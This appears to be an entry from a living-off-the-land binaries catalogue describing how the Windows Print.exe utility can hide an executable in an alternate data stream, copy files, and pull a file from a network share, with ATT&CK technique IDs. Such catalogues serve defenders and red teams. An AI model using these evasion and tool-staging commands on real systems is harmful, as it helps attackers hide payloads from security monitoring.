.. /Print.exe
Star

Alternate data streams
Copy

Used by Windows to send files to the printer

Paths:

Resources:

Acknowledgements:

Detections:

Alternate data streams

  1. Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

    print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}
    Use case
    Hide binary file in alternate data stream to potentially bypass defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

Copy

  1. Copy file from source to destination

    print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}
    Use case
    Copy files
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105
  2. Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

    print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}
    Use case
    Copy/Download file from remote server
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105